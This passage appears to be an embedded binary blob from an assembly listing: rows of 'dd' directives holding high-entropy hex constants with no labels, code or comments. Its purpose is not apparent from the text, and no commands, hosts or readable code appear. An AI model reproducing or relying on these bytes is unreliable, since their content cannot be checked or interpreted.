0CCE3A355h, 1C580067h dd 0F2F0EDD8h, 4F00CEF1h, 76C912D1h, 0DA92C3h, 6294145Eh dd 0B088A629h, 1261703Eh, 510031A0h, 0BB868019h, 23640035h dd 0B291F297h, 7B00DE5Dh, 0CC3F2813h, 4356B94h, 5E35C65h dd 0AA3180FDh, 3B0076FCh, 0D1FFFB5Eh, 9CAEB9h, 17965365h dd 25FA2AE2h, 0B100EB7Ah, 80CDB8B3h, 79040Bh, 11893372h dd 4149D1D9h, 30661D00h, 0C159A34Eh, 15B90E18h, 50009B80h dd 0E77ECF33h, 7FD848h, 0E80D531Eh, 18B3F24h, 2697C427h dd 0F24FA27Fh, 303C3CC0h, 0ECD8DA1Eh, 542AC800h, 123619Fh dd 71F0BFFAh, 0DC56D9CEh, 770BE22Ch, 812D3128h, 0AAD72BE4h dd 4E3E8h, 633C6CF7h, 70F05F77h, 26A00B01h, 0D42D42B0h dd 0EA0954CCh, 0EFF781Ch, 23F37AECh, 11FE0580h, 0A0024B8h dd 0D47DCC87h, 968570h, 0E4B6591Fh, 0A2EB5B8Ah, 0CA300500h dd 0CDD5671Bh, 8E0900C2h, 39296EEDh, 16F21D9Bh, 5DEAF300h dd 50025AB6h, 1ECC0F72h, 8006EE7h, 9D435127h, 9C0030F6h dd 642AD8CBh, 9254B5h, 80B4D165h, 0AFB038A4h, 24A12600h dd 134B74BBh, 0AAF3076Eh, 506BF0B1h, 0D61F49Ch, 0F57C1500h dd 3D6393F7h, 3AB53C1Fh, 72DB1C00h, 143299ECh, 0D1C20F0h dd 0A54098A1h, 5FC7B5C5h, 57D90062h, 675DB00Bh, 4871D86Dh dd 961CFC00h, 0F92C6546h, 86D50090h, 435E804Eh, 0A80017ADh dd 0EE7ED3AEh, 1DF308h, 9739BC88h, 8A9699A3h, 0F1550200h dd 197059AFh, 0C2370EC9h, 6EA08DFEh, 0D5833B6Dh, 0F4153500h dd 97E5A8C4h, 28570019h, 4039B905h, 7C0E3CB2h, 0A04DC659h dd 6A856096h, 0F1E66Bh, 2E3D9812h, 826D7750h, 3222E20Fh dd 76B9478Eh, 261E96BAh, 43F3AC43h, 0C1B3FB55h, 13306973h dd 880400B2h, 0D68339FFh dd 3800311Eh, 86717E94h, 5319D4h, 0C8AFB401h, 7F24F34Ah dd 5D63F507h, 6F132306h, 0C13390A6h, 0EA3900F7h, 8CF84C0Ch dd 523CF327h, 2D4D8088h, 0C2F5B59Ah, 66180079h, 650BDE1Bh dd 110070BDh, 3B85D4DBh, 2678B7Ch, 0EF6F6B59h, 3640CD28h dd 1201DABDh, 8AC65FDCh, 2CF4395Dh, 0C1F0F42h, 0C39E9C3Dh dd 0FDDB3ABCh, 0CF307888h, 3C91CC00h, 0A4649934h, 3F9602FBh dd 0D5F82DFh, 0AED1605Dh, 1FB200B5h, 9C0E68ECh, 0D2B859EDh dd 32145800h, 15CE2F0Fh, 378A0060h, 71E706CDh, 0F973DE93h dd 0FCBE6816h, 0D4909401h, 96E41A65h, 6A9E1E48h, 3911E2Ch dd 2AEBFBBDh, 71A67098h, 3800CBF8h, 2D510BDCh, 0E9E44D2h dd 76672801h, 1E00D609h, 0DBB9D8CAh, 803A2B3Bh, 0F857747h dd 1EC11F9h, 6CA2613Ch, 0D4E552BBh, 56003FCEh, 0CB829DB5h dd 0F86929Ch, 5D344B93h, 17413180h, 8000EBC9h, 3CD3F2C7h dd 1E2083E1h, 0C042B3A8h, 4FC9D69Dh, 76EAE84Ch, 6C3E3700h dd 0A517480Bh, 0FE220057h, 0ECFA397Fh, 627CA0BEh, 0B5F0EB00h dd 0AAD12B4Ch, 249063h, 694219DBh, 74978DD2h, 0A4EB4D00h dd 45E91F41h, 0A77408h, 777FA09h, 43EDA939h, 0D61275E2h dd 53006752h, 0E5EFD120h, 1C3600BBh, 1D1B078Dh, 0F700898Bh dd 65C9CB45h, 473196h, 4BD224D8h, 51B98FDFh, 64AAF706h dd 2618Ch, 78479E52h, 0DD708815h, 220076FAh, 99CC1D01h dd 85B3F3h, 3CF4427Eh, 1C2CAECDh, 0B64EBB00h, 68B1108Dh dd 4130020h, 769ABA5h, 3700B7CDh, 0D82E028Eh, 1CE90582h dd 802A6354h, 0D6FF57D5h, 0FD001192h, 70BE0849h, 355DCDh dd 2F37964Fh, 7DBF9ACFh, 80F9601Fh, 20C8FC3h, 0D8D0E312h dd 1CE5A73Ch, 41E0F169h, 5DF9A9D2h, 0F316CD9Fh, 586076B0h dd 41ED3900h, 2F0357C3h, 964E0709h, 4E1F1CF2h, 0C22D53E0h dd 6B000B01h, 0FCA4D2FBh, 4FFFD5h, 0F59F1B2Ah, 13768C1Eh dd 64C38A00h, 65E580ADh, 0E2550001h, 0D16711DEh, 8C008863h dd 4A5B79Ch, 70A29DBh, 83B84894h, 0F09327EBh, 9971C57h dd 0ECF83D7Dh, 0DA898400h, 0DFD6A00Ch, 43CF00FEh, 0A7DBF205h dd 0BB004A51h, 6F88D25h, 421502h, 0E33BB623h, 5243E23Ah dd 0BE001CF8h, 0AB8120D8h, 199C1EBh, 1F84A2F8h, 0FC1EE0F6h dd 0F40024D0h, 3CF06DBCh, 0F2D5D9h, 364BE8E6h, 0ECCB2E59h dd 0C22B4500h, 0DA7699C3h, 91090366h, 4A0E3172h, 1E56DEE0h dd 8656E00h, 0BF0C8776h, 4F17175Dh, 685507A1h, 103420AFh dd 11007627h, 0CFEEF720h, 6CDCB5h, 29EC2FDFh, 40F490FDh dd 6DA9300h, 0FC798B5Eh, 0E4860044h, 0D0F0A091h, 83000B1Ah dd 1B1E6107h, 0D6A694h, 0D95BA52Ah, 0FFA41439h, 604EC0Eh dd 34E18060h, 3FFAC0B1h, 4900BA30h, 36FF3275h, 410071D8h dd 0E277A69Eh, 7914DBh, 39D226F9h, 7D6375CCh, 0F8FC3Dh dd 0B364D640h, 4B943A01h, 981F8007h, 9100B9C1h, 4A69DC8Eh dd 0F21BC51Ah, 71A2723Dh, 1C2801B3h, 60720183h, 0F29DE4C4h dd 0B6E4F590h, 36D1900h, 0AD413AC9h, 8398C1h, 705A0BB3h dd 0EBA1EE39h, 7E75E00h, 66F096E0h, 792407D7h, 708A0D56h dd 0E14EE574h, 0E88B8107h, 71075110h, 0A01D42E0h, 5370C4h dd 812F6886h, 1F54B25Ah, 0D5004498h, 0F8C7484Eh, 0A01B988Bh dd 1C4FCDDBh, 2F28BDh, 9EC91572h, 6B07D050h, 8EC30F62h dd 0A1F0F9E0h, 17A407B7h, 17410D21h, 0E5B0C01Eh, 0CB60C6DAh dd 6DB1C5F4h, 7DF65Bh, 21EFB899h, 3827836Ch, 0BD8D5400h dd 75DD45C0h, 0BC3B002Fh, 9E46FC2h, 5D005C4Ch, 9D30F980h dd 0B0B6348Eh, 3DAE88Ch, 0DD85FCECh, 57C844B1h, 0D169801h dd 6B002EDBh, 0CAA6807Ah, 913800BBh, 74321B06h, 2707CFB3h dd 0EF9FA8DDh, 0A9593E60h, 778C1601h, 0C0621F2Fh, 2B2A20C6h dd 0F000812Ch, 0C21F1B38h, 28456Ah, 5B187888h, 727E0F11h dd 99A73500h, 7710F139h, 30B50052h, 0CA841A82h, 8E009EA1h dd 0D5762EF0h, 0FAB8364h, 0B390E985h, 41D36220h, 7700F14Bh dd 34F689D8h, 0A39304h, 0A1D2B0D5h, 9D0CC5F8h, 2F03A4F6h dd 0F4F25BDh, 8050D29Fh, 0CEE6CFEDh, 97F20Dh, 0AC6A42C8h dd 0C5F51D1Fh, 0F0804900h, 7A6316B2h, 2C673CD2h, 0CF1D27BCh dd 0B4BC0E64h, 0CDB9EB20h, 4A3CF52Eh, 84029290h, 0F27D1C00h dd 0AB9778h, 91D5E67h, 7042BD13h, 292BD103h, 88AC9B8Eh dd 2FB9D5h, 3694C2CCh, 0F377EEFDh, 61741600h, 0F5F01E76h dd 0D1100E5Bh, 0AE00817Ah, 0BC6CC8E9h, 4F0AF400h, 90A83DD0h dd 50640396h, 3F7A6720h, 54688E90h, 0A900DDE0h, 0BA1D1ED9h dd 1DC5CF56h, 64D3C6h, 6FE7D7E8h, 0DF00FA45h, 7CD6EF08h dd 7DCE6348h, 88FC00F8h, 0C3B798F3h, 2B01D31Ah, 465A4F05h dd 0EDC88FADh, 25513FC8h, 0E317F080h, 989A649h, 0F2213500h dd 6E010693h, 0FACC009Ch, 0C988AC1Fh, 0A60E55E4h, 0C0629923h dd 0EA6543D1h, 0A7890033h, 96BE574Ah, 8E00EF5Ch, 145206C2h dd 758DE3DBh, 5A4824D9h, 0C99100D2h, 89643E8Ch, 4BA9A300h dd 0CCAD3F4Dh, 0A4AA3802h, 40DA2D1Dh, 23CE1FD6h, 4F00BE6Eh dd 0D51655Eh, 397BD2h, 0E725FE55h, 8E05F975h, 0F2878407h dd 0AD10DE11h, 733047h, 0F3490261h, 9A151FA9h, 0E298CF1Eh dd 0FB27D207h, 0FE9E001Bh, 3973335h, 0BC46CC2Dh, 0B8B86343h dd 9E000B29h, 21505A19h, 0BF3EF8h, 0B52E62D2h, 6601EA26h dd 0ABE35303h, 0F04B3599h, 2C8703h, 0CC2E390Dh, 50849AE8h dd 94477F00h, 7CE0C933h, 4CBD00A5h, 62BA966Ch, 650088A0h dd 31C43975h, 2EFF0h, 0A8A2EDBBh, 194446EAh, 0C2C66A00h dd 115E33CFh, 0AF780105h, 6C551A1Dh, 749C01Fh, 89860300h dd 0CC6B30E4h, 0E002039Dh, 0CFD30CD9h, 7144D880h, 0FB3C1700h dd 0D047B587h, 0C31C1D34h, 352D0036h, 4A56FA9Fh, 1FB1D72Ch dd 6F609A00h, 74E06C69h, 26F40023h, 38DD4F2Ah, 0CF07A878h dd 0E316D813h, 0E0529530h, 48F20024h, 0C054ED75h, 0FA7FABDEh dd 1CA4CE00h, 77367A8Eh, 0F2F00004h, 5BAD4AA1h, 7200D03Eh dd 0E442D140h, 6C26A5h, 68C6CEFFh, 0FC8BAD55h, 377A7700h dd 0BC7F1C7Ch, 5426004Ch, 9E5D5311h, 74001FE7h, 0FD61B722h dd 1FE6783h, 4ABC3041h, 0D0B46542h, 460F8009h, 358D1h dd 92CFF818h, 3D6800F6h, 8B7025F1h, 7700F2BAh, 2F809D2Eh dd 43D2C3h, 0EF9CBE8Eh, 52C77CE9h, 0DC398D00h, 0AE20B4ADh dd 46D60DAh, 0B00BED45h, 2C7A3300h, 0E0227E44h, 1ACEC72h dd 35071859h, 0CB16F81Dh, 0BDE2C087h, 0F703E941h, 1364DAE6h dd 2B5CA8B1h, 814B00C9h, 6273B924h, 34006DEEh, 0C40132A4h dd 7F1A27h, 9BD24330h, 71F56A0Dh, 5AF1FA0Fh, 0C772A7D7h dd 9D3363DEh, 4458F83Fh, 77CF0E75h, 560B441h, 19B0B3FEh dd 2A0B8DEEh, 1FA3754h, 0B1A98C63h, 902360C0h, 0F8830098h dd 7A12D53Ah, 0E700ECEBh, 653713E4h, 79CA263Ch, 788A00B6h dd 0BBC7227Bh, 0E300A54Dh, 77BFCF14h, 0FD4A4FBh, 6CE9F35Ah dd 7A133580h, 0F403CCC1h, 0CEED95A5h, 7EE8C053h, 0E0C0E9Ah dd 0BDE062C9h, 4DB436DBh, 54599D00h, 3ABCBBB8h, 7F090018h dd 24B7D9DFh, 6900CB8Ah, 769F6EEAh, 0FE1B72BCh, 1284386Ah dd 0BE64C003h, 88E0D422h, 0BF00329Dh, 0D70CDAFAh, 0E2B99Bh dd 4CE6E530h, 0EACFDB94h, 0F392A900h, 0E9DA54EFh, 5BD500A4h dd 0B65E17E2h, 0FD482FF6h dd 0B740762h, 0EE058F9h, 19787DD8h, 0BE40C26Dh, 6CA8F4B2h dd 0C62B5E00h, 72EA3796h, 0F00900A7h, 97470C1Dh, 6700B52Fh dd 0D136E13Fh, 164851h, 0FA0FA57h, 0B88D99E5h, 5B9EA600h dd 5D74176Dh, 8CA3005Eh, 0D5D7A2E9h, 0FE035A79h, 2A194E0Dh dd 72F0B007h, 5FFA00D9h, 0E589216Fh, 0D607476Ch, 66A7EC8Bh dd 0AB82A650h, 111700BEh, 6F238704h, 51004A3Bh, 8BAF9A47h dd 0F83C5Bh, 94E7E89Bh, 9D92F4BFh, 0AD50E20Eh, 21B6C0D8h dd 0D0D1EBh, 16232FA8h, 0E61A58D4h, 64C39F00h, 1F569EC8h dd 550E005Eh, 0C0D976F2h, 0BD00DAF7h, 5DEF7E70h, 7D126179h dd 31D03B40h, 974F2980h, 285AA058h, 9B007575h, 9081B802h dd 39316AA5h, 38BF62FCh, 86653E83h, 41D03CB1h, 0A6001B92h dd 0A0BB9C5h, 5251FCEh, 0E79FC8DCh, 4E27803Dh, 0E6009ABCh dd 6EDF014Dh, 7117E5h, 19B9EE78h, 34AAF48h, 0A2C2ED00h dd 80C5285Eh, 552400A0h, 539F0E94h, 7907EBD1h, 52406DE5h dd 0C080EE94h, 0E05B9706h, 35F2FBh, 7383C0F8h, 3692A3F4h dd 0F97E04EAh, 1C702A05h, 67803F06h, 1C98FF18h, 0F10983h dd 4A29B1EFh, 0B5006608h, 607989CCh, 7131AC7Dh, 0D5F83F73h dd 823CC900h, 0A17EB095h, 0AF674C00h, 87ADC4CAh, 3D091F9Ch dd 3597C74Ah, 0D8C88193h, 0A639E8A1h, 33ECB51Eh, 82070C00h dd 32CB75h, 6E2DC177h, 8F48F683h, 4CEE6000h, 53B68811h dd 2E7803F3h, 8BA4905h, 6F30B7C0h, 7141F00h, 0E7DA12C8h dd 74D81F80h, 21AF0F81h, 4B014440h, 0EB00D516h, 0A3A00DDFh dd 34E26h, 397063C4h, 0E0FF3356h, 7AED6202h, 0E0A4D06Ch dd 0B45A23h, 4919877Fh, 86F42794h, 0DD885Ch, 4E91A2CDh dd 25DA7Bh, 0C8982D07h, 3E3F3CBCh, 0F086D03h, 0C872208Ch dd 3F6B555Ch, 0BA00DCB0h, 0C1F89B71h, 0E0011295h, 0E113145h dd 9930477Eh, 0A9E50046h, 0EB679BE8h, 5E0069EAh, 0D9BB12A5h dd 0F81ADBA1h, 5D5C0FDEh, 64203EF1h, 5E99F575h, 30FF9E00h dd 0F87BBFD2h, 0F6E8D0h, 0F9FD8ECBh, 0DCD48040h, 585F050Fh dd 518F0145h, 12E4BE81h, 0EEA00C2h, 3F9F6A66h, 0DA1C4277h dd 0ACC307E5h, 82B069h, 15F0A65Ah, 129A1E5Ah, 76D8F600h dd 0EDB052F5h, 0FB29871h, 280B6E74h, 0C0FD4364h, 70D5548h dd 5120A001h, 4535DE90h, 1D6ED5DCh, 0F076CCh, 0E80F6D63h dd 0D700B428h, 8F8C88Bh, 43925Ch, 7529C256h, 0CD328D5Eh dd 59CA7B1Eh, 2082604Eh, 5112EA24h, 91BE032Ch, 1B1E8173h dd 655006C0h, 0DD398E00h, 0BC03E79h, 0CF050189h, 54BB1042h dd 32D2F4E5h, 46C3CE00h, 8D957A5Ch, 313002Eh, 78BF6760h dd 6A3DA14Fh, 0A56600D0h, 0DA4ED93Eh, 9C7100F7h, 0E199EC6Dh dd 360056D7h, 1286C30Ch, 0A6A090h, 19F86070h, 3D790840h dd 0F7D23500h, 9F14DA30h, 272203CBh, 0BFB5698h, 64C9E4E0h dd 9286F00h, 5AE09EEFh, 0D8BF1C7Fh, 81E6C01Fh, 0AE0720A9h dd 109FB50Fh, 85F800A4h, 3F8F18h, 0E42D3894h, 8E742E57h dd 0B7CFF907h, 0DF785Ch, 0E95BF35Fh, 0D83F002Bh, 0EE857DABh dd 0F5079B91h, 0BF1169F1h, 6F451770h, 0C64E1FF2h, 37C7808Bh dd 9C470161h, 2009EB8h, 0B5215329h, 0F45044Eh, 68B92B10h dd 31E01400h, 857E9792h, 0A225DC03h, 0A03F408Fh, 0FBD345h dd 0BEB754BCh, 4DBA87D4h, 99C6EF00h, 94633F32h, 52B439F0h dd 0E545CAEh, 3541D150h, 70083D20h, 7D1F76CBh, 13006109h dd 4D06AC3Bh, 6B8C3F94h, 906A4700h, 0A72B8F82h, 0EC962F07h dd 1000AC25h, 65CB36h, 7967BB09h, 37B84604h, 7FC5800h dd 664C5B42h, 9A792Bh, 640BF05Fh, 3CA3A288h, 0F1753300h dd 901E45F8h, 0D320500Ah, 9CB1CB7h, 0C52E8FAAh, 4DB3300h dd 8B000C67h, 1845E2C6h, 49CB643h, 0E51BE099h, 0ED6CC01Dh dd 0B1D7FB8h, 0E20075BDh, 12B008D7h, 7B83006Fh, 4BF48592h dd 28000588h, 4EDC576Ch, 90C5A9Bh, 0E0BD3CB7h, 76CDE8Ah dd 30F3398Ah, 0ABD60267h, 0BDDF6D02h, 610401FEh, 0E5E899BBh dd 0B9FC68h, 1D18D7D1h, 14038051h, 895F4200h, 5A2F8B2Eh dd 0D2DC07C2h, 83D13F50h, 0F9B02D4Dh, 4AF85433h, 0B9C29D07h dd 20D79288h, 7144A07Fh, 0DDB1F0h, 7369B66Fh, 5FEB6633h dd 6ED641Ch, 8CDE25C3h, 0C04EF0FAh, 8405006Dh, 0E4BE3E6Bh dd 0E0008A6Ch, 3789168Eh, 0CECFB6h, 2D3771Bh, 0E838FFEEh dd 94A46D00h, 7D0A72E3h, 6B2800F4h, 0E0C9F13Dh, 0CA00C642h dd 0ADFB5A58h, 16D51F83h, 1093CC8h, 0B28CFE7Ah, 6F60D2DCh dd 460E0BF4h, 40324968h, 0CD278DC5h, 0E41407A3h, 3047EC25h dd 2646A75h, 0A4016713h, 6593D000h, 7446AC28h, 0CB7497h dd 0D96C9A0Bh, 0CDDDB3C6h, 8F6EF300h, 0A73D8924h, 4B73A6h dd 4F81EB27h, 0BE066AADh, 94C93207h, 0CD7034EFh, 19BF7E0h dd 49F42384h, 0E067B917h, 2703755Bh, 0E0ED4485h, 2ED0C888h dd 0E2011C1Fh, 6BC18348h, 0D98B7C7Dh, 0DE5249C8h, 2CA89500h dd 0AFE7B560h, 16D7017Fh, 7178176Fh, 7972C467h, 4BF38F1Fh dd 3274FE40h, 591FA8h, 0A2FC3734h, 28CB6FCCh, 5842F100h dd 184C296Dh, 90C80369h, 0A2232CC7h, 20F7F2F9h, 73005B52h dd 858994DBh, 266602BBh, 0DF1F54h, 8B4A7052h, 0F400CAB9h dd 0B262DB17h, 0BCE1E8h, 81203BC6h, 0AFA730C5h, 0AD84B600h dd 60736BFDh, 5E430729h, 77F5120Ch, 94430E4h, 0B304C48Dh dd 2D1DFF3Eh, 22782F80h, 4B3700A2h, 944E0A31h, 2A00B9E2h dd 0CE0C449Dh, 0F1ECCFh, 15D10DCDh, 0EF81DB74h, 9404B400h dd 7FA1AF03h, 33E60010h, 0FF1A20C6h, 7D00CAB3h, 9938E130h dd 0F34051h, 281316CEh, 0ACDDBA7Eh, 53E98200h, 0A45F4429h dd 0E01D0060h, 0D41E439Eh, 2B0F4817h, 0E05BFA6Ch, 34A0DB7Eh dd 38600062h, 0CE03510Bh, 7C001471h, 0FEDDAE75h, 75D088DEh dd 81000E2h, 0BC6EA2E6h, 0B8008693h, 31EFA0EEh, 0E48B0B8Eh dd 0A53F1C80h, 0CA9B0FF8h, 0B74FB940h, 4C004297h, 900F784Bh dd 3C0D012h, 0D1CD0996h, 8C008830h, 0E067CF6h, 5821233h dd 5D57ADD5h, 0C87B8038h, 0CA506055h, 6C008D88h, 2A809983h dd 70B62D5h, 4F56C4F8h, 805B75B2h, 92088E21h, 79BDBE00h dd 0FEFA2219h, 1C41FC9Fh, 40B2612Ch, 0D515319Ch, 0E032BDBh dd 0BB9F8FDEh, 0A42FC8DAh, 0E5E403E2h, 0B11107Ah, 711DB6C8h dd 6EAF5900h, 7618A2CFh, 77F4E20Ch, 41F303C2h, 531723F1h dd 0F570F7D8h, 4A4B9D1Eh, 4D0BD247h, 50662DD0h, 0AA3000EDh dd 0EA702F88h, 8FF88097h, 54326100h, 0A9F17D74h, 0D357008Bh dd 6598067Bh, 1600A783h, 2FA6403Eh, 301B50Bh, 508F7A2Dh dd 98D9869Bh, 0BBE7F068h, 1E7E1A0Eh, 0B1E44024h, 4BE8FAh dd 0E3E03E2h, 0A1C1303Fh, 46940F00h, 0B112BAC5h, 4BA2000Bh dd 7BF4C9B9h, 6D00D083h, 0D434984Ch, 10F3A0h, 3F7F8433h dd 26BD48BFh, 9622790Eh, 17A9A7A8h, 66913EF0h, 6C253DDBh dd 0E182A781h, 0E0756A54h, 0D8381DFCh, 307C807Eh, 6B0164DFh dd 0A3AF00A2h, 955C29A4h, 3B3F5B8Eh, 8D11877Ch, 1430ED08h dd 21126Fh, 71400D80h, 0FC249DD8h, 38A14A00h, 0B5B9B2C5h dd 4DA80031h, 0D5F4997h, 0B4005B1Dh, 1CF39226h, 0E57B9h dd 5C55CF8Dh, 7413109Ch, 773A4900h, 9D5ED292h, 7AA003D1h dd 68A41EDCh, 8ED305F8h, 70063E00h, 0DD4DDB4Bh, 4EE0004Fh dd 8A5584B9h, 90011BA3h dd 0D402422Ch, 20F8B7D7h, 0C6080078h, 52EFC582h, 310073E7h dd 3551DFBAh, 7745E7Bh, 4B9AEB7Ch, 601D12C4h, 248184E0h dd 0AD1A0E00h, 8C78DE4Eh, 398507F4h, 700A680Bh, 3A7D7165h dd 366F3400h, 7009E81Fh, 3E5F00DBh, 1374B3EEh, 203C066Eh dd 1B9F0355h, 0D0925CD7h, 24A821ACh, 6B4B2h, 2C072A3Eh dd 8D71FE8Fh, 11F86800h, 89D222FAh, 0E4BF0093h, 0E3923C6h dd 690008EEh, 0B13C561Fh, 9251DAh, 6578CE1Ah, 96A79754h dd 2430A50Eh, 9E03C0DBh, 107B814h, 4CC0E170h, 604A16BDh dd 26006C10h, 3FD596A6h, 0F64DBh, 0E03AAA98h, 5C41D91Fh dd 81682B00h, 73871B06h, 0F270018Eh, 4650F7E5h, 515920FDh dd 6724400h, 38051B21h, 0E19E0107h, 412F8456h, 80BDC033h dd 0EA824600h, 8B1AAB74h, 1D6BE478h, 80D4AD2Ch, 0DE0B843Eh dd 113D753Ch, 7A6F1E53h, 0AFEBC800h, 302B017h, 0E3B58DA4h dd 2AA0783Dh, 0BF002B05h, 4406D391h, 0C0CBF2h, 862634F4h dd 6993130Ch, 0FBD73200h, 0A9DC7B1Eh, 45A40F3Fh, 25E0DDA3h dd 7A33DEBEh, 0ADD68800h, 7EA2B579h, 147938h, 92B2FF46h dd 615025EFh, 6E177D00h, 0EB67E91Bh, 75BF00A2h, 0C282451Fh dd 88001C65h, 778FBC0Ah, 3A8EA586h, 3500D881h, 0C96CAA55h dd 0C6009C2Eh, 65B57147h, 390E7491h, 0A9007D62h, 0A81E15F0h dd 88004E35h, 8FC266FCh, 0F84B72h, 812D0DDh, 46EFD6FDh dd 62943700h, 0B2D6952h, 0B9B50066h, 38EA297Ch, 23009782h dd 69E3B0C8h, 0E0626ADh, 0B1899D68h, 0CD517BA0h, 0FAC07667h dd 319EFF2Bh, 5AFD00E9h, 27D0D18Dh, 0C200DD87h, 73DE0CCDh dd 6D4EBh, 0C6ECE431h, 6AF2BB2Ah, 15E70107h, 0FD10484Ah dd 74E03Ch, 786D7E3Eh, 0E66F045Bh, 2575C8F2h, 0D3DFED00h dd 0EF185D4Dh, 9E2600BFh, 915B8351h, 0BE0ECD25h, 60AEAD3Fh dd 0C6EB2DE6h, 1897008Ah, 615C5AAh, 74033DC8h, 226FF7A6h dd 384D8075h, 85FC4C12h, 0E60E0503h, 6B8013BFh, 0F90FE261h dd 0E05119B5h, 79CC3C39h, 62E486h, 0D2A69273h, 75E543E6h dd 0FACF5500h, 642C48C5h, 33120E63h, 40A05135h, 5ACBEA81h dd 39426800h, 24655BDCh, 0F8719Ch, 14863AB4h, 4E26607Eh dd 5A02550Ah, 803CE9DDh, 502757AEh, 779F64Ah, 9F68050Eh dd 0B2783093h, 0AC001A14h, 0F27CFB26h, 0A04F03h, 9FB4CDD5h dd 7F370CEAh, 1D002272h, 2E9CDA3Dh, 220ADEEh, 0ED6A3682h dd 0B740579Bh, 6008C63h, 55434985h, 0E461DD99h, 796F0F07h dd 0FA2142D5h, 0F04EAB91h, 0B0017851h, 4A360E1Bh, 31F45FDFh dd 0EB1A0074h, 4F9867F6h, 35711F7Eh, 63C26900h, 21109664h dd 43DF1D8Ch, 0AA49079Bh, 9C3F902Fh, 2300E689h, 3AF92215h dd 0E0760Ch, 36EED1Ah, 0C7A0AC2Ah, 831D123Fh, 0AB9E58C0h dd 46C2CFD3h, 2724E047h, 0A57A0090h, 327E8463h, 7100D5DEh dd 6D493996h, 85E223h, 5568DA42h, 0C3003C6h, 74D16F00h dd 0E92C0AD8h, 0C29F0FF9h, 8980AB2Ah, 0D049C577h, 24106907h dd 1B01AB7h, 0F0D5CEh, 4BF73BA9h, 4AD0DB77h, 0C102DE00h dd 201B0C9Dh, 0F3840419h, 0AADA76A5h, 0F5754980h, 0C7C21EBFh dd 0F0564023h, 69285179h, 95643500h, 0B75B59ABh, 875A013Bh dd 0F92B03E1h, 0CBB42076h, 65D95800h, 1BD8A584h, 0DBC32E1Fh dd 0D46003Eh, 0DFC08BFFh, 1DF0AF07h, 4FC087A8h, 2F4353h dd 35174867h, 1458F9EDh, 806B2D38h, 90C92223h, 0E84C0h dd 0B2184956h, 28025BA9h, 89045500h, 43984EBFh, 0FC51E48h dd 713E4261h, 11E3F90Dh, 0DA315C98h, 9B113B00h, 0B1C0FB45h dd 7784074Eh, 3723D87Ah, 2A4BA05Eh, 827BF926h, 1DBBE200h dd 57D3B698h, 0C0CCE32Ch, 0C84800D2h, 9B1CDE14h, 0F67F82E6h dd 4F9E7F00h, 0AF97329h, 0F87200D9h, 0BB43C03h, 1200E91Ch dd 32CA45C5h, 3F4DE719h, 960064FDh, 7C3D7AF7h, 0FF07DE24h dd 0E9695BD8h, 0AFBC4B60h, 2DFCF78Fh, 410304D9h, 80670C49h dd 5D1DCBCBh, 0C473C603h, 0A0E2A6DBh, 32A20BEh, 9584E169h dd 8DE83A9Fh, 0D03BB339h, 9900FFE6h, 8615B12Ah, 0C6E92Bh dd 1951FC81h, 3E0A4B76h, 6178ABEEh, 0DB44C903h, 9875C0BEh dd 43480h, 711FB6D8h, 4F760F9Ch, 0E596A400h, 91321A4Ah dd 2827DFAh, 4029A97Bh, 5FE0B655h, 0F6E078D8h, 0CE1DE800h dd 43C50D11h, 8EB50024h, 2D9D9C91h, 0AB01F94Bh, 0B653D9F8h dd 0BEC9B747h, 17E5F4h, 0B34A499Ch, 0F3FC931h, 55981B00h dd 0C82018B7h, 73DF0047h, 60686E07h, 801D5325h, 7A80A3E1h dd 8FD7A1E8h, 0D50B00EAh, 1F610282h, 7200F6FAh, 0E9CAA5ADh dd 343719h, 13DCA9E6h, 966BAD7h, 805F403Ch, 398B2AFCh dd 78466Fh, 6ABFD058h, 4D89CFD2h, 0C5A17400h, 0D50C8C6Bh dd 487700DCh, 5A2E16F7h, 42006038h, 21653EC2h, 3DB8D2h dd 0FF7E91E7h, 7C4B8EF2h, 8D03D007h, 9940EF9Ah, 471322h dd 1CC1E7C5h, 8A98DBEDh, 0F652D800h, 763F17C2h, 67BF004Dh dd 95E615E3h, 1F009777h, 0F732F4A8h, 0E74B35h, 23DA0BFDh dd 91D21E72h, 0A11FFA98h, 8C013A9h, 683F4AE6h, 0A4F600CCh dd 19DA05B3h, 0E5001EA1h, 0D1849D33h, 0E98722h, 0B9BA00Fh dd 0BF026F8Eh, 3C0E06FEh, 21673A38h, 7927037Ah, 0BBFBE8h dd 0ED40EE62h, 0A30FE84Fh, 0E600F573h, 1AC74964h, 48231Bh dd 9B514766h, 1671FB5h, 0DC26201h, 0AE8C6581h, 2A2FC8h dd 0A7B2EDCBh, 85B637FCh, 0C5512700h, 329316CCh, 975B0E86h dd 0D72CEFh, 0BFD89CC0h, 5000FD7Ah, 4ED3B799h, 0FCA276h dd 6175B1D1h, 9E1EE552h, 706C5E00h, 74893528h, 0A6DD003Bh dd 0E948EBBAh, 2003D8Fh, 0B50FB28Dh, 39494Fh, 21D1E6D7h dd 0E1157D6Dh, 4DA0EE0Fh, 0C02F4F13h, 4F58FD0Fh, 506C70BAh dd 0EF3E81Fh, 4C4AF8Dh, 0C9469C0h, 7D1C0E19h, 5E965BDDh dd 0ECB0E700h, 4AF1Ah, 0A695550Bh, 0B3AA2EC3h, 1D3F4D00h dd 0DF3B2B27h, 46F300C8h, 3D096F10h, 0DA00A929h, 307AAF72h dd 29E19FFh, 0FA83C7F5h, 0BF61A3DEh, 28E57047h, 5FD4900h dd 0A7996CB4h, 197C0016h, 0ECB9A2Eh, 1E241B66h, 300F6456h dd 4C44C064h, 2E3AF8Fh, 0B922FB09h, 0BE0A8A9h, 103AB6FAh dd 0C364000Bh, 0CB4ECFE2h, 6B961E4Bh, 0F8DA80A6h, 0BC7C5F46h dd 0D4860701h, 8C85CCA8h, 81F02ECDh, 0B6EB0EBBh, 0B2E06F5Dh dd 0F0642068h, 88533300h, 5B5CDD16h, 0AD110301h, 730C391h dd 31A31D88h, 0CE1F1000h, 6B0B32E0h, 0DF7D1881h, 931C1868h dd 8AB0E960h, 0E863FAh, 0D0FB0B25h, 99D3C6B4h, 8021543Fh dd 0F5913BBFh, 0F10F16h, 42ABB33Dh, 24F2DC20h, 0D8DB1A00h dd 0AA392CFFh, 0FB0F3F46h, 98E6210Fh, 0C18C9D40h, 41F69457h dd 0A7759E0Fh, 0F48E800Dh, 17B89F3Eh, 3C79B37h, 0B380761h dd 0AF0F26A8h, 0F37E0300h, 830CECFAh, 528C032Ah, 0DD9F18C3h dd 0F27B81B8h, 0E1213000h, 3ADE6D72h, 56CA0012h, 5BD61324h dd 43FD260h, 96B783DDh, 0B8986942h, 872766h, 560AFE32h dd 48DEA7FFh, 9D9E7800h, 6FBC3AEAh, 85A3034Eh, 68E81D34h dd 